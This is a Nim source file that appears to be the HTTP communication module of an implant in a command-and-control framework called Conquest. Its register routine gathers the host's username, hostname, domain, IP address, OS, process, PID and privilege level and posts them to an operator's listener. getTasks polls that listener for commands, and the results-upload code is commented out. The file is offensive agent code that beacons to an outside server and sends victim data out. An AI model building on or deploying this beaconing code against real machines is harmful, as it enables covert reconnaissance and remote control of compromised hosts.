conquest/src/agents/monarch/http.nim

import httpclient, json, strformat, asyncdispatch

import ./[types, utils, agentinfo]

proc register*(config: AgentConfig): string = 

    let client = newAsyncHttpClient()

    # Define headers
    client.headers = newHttpHeaders({ "Content-Type": "application/json" })
    
    # Create registration payload
    let body = %*{
        "username": getUsername(),
        "hostname":getHostname(),
        "domain": getDomain(),
        "ip": getIPv4Address(),
        "os": getOSVersion(),
        "process": getProcessExe(),
        "pid":  getProcessId(),
        "elevated": isElevated(),
        "sleep": config.sleep
    }
    echo $body

    try:
        # Register agent to the Conquest server
        return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
    except CatchableError as err:
        echo "[-] [register]:", err.msg
        quit(0)
    finally:
        client.close()

proc getTasks*(config: AgentConfig, agent: string): string = 

    let client = newAsyncHttpClient()
    var responseBody = ""

    try:
        # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization 
        responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
        return responseBody
    
    except CatchableError as err:
        # When the listener is not reachable, don't kill the application, but check in at the next time
        echo "[-] [getTasks]: Listener not reachable."
    
    finally:
        client.close()

    return ""

proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool = 
    
    # let client = newAsyncHttpClient()

    # # Define headers
    # client.headers = newHttpHeaders({ "Content-Type": "application/json" })
    
    # let taskJson = %taskResult

    # echo $taskJson

    # try:
    #     # Register agent to the Conquest server
    #     discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
    # except CatchableError as err:
    #     # When the listener is not reachable, don't kill the application, but check in at the next time
    #     echo "[-] [postResults]: ", err.msg
    #     return false
    # finally:
    #     client.close()

    return true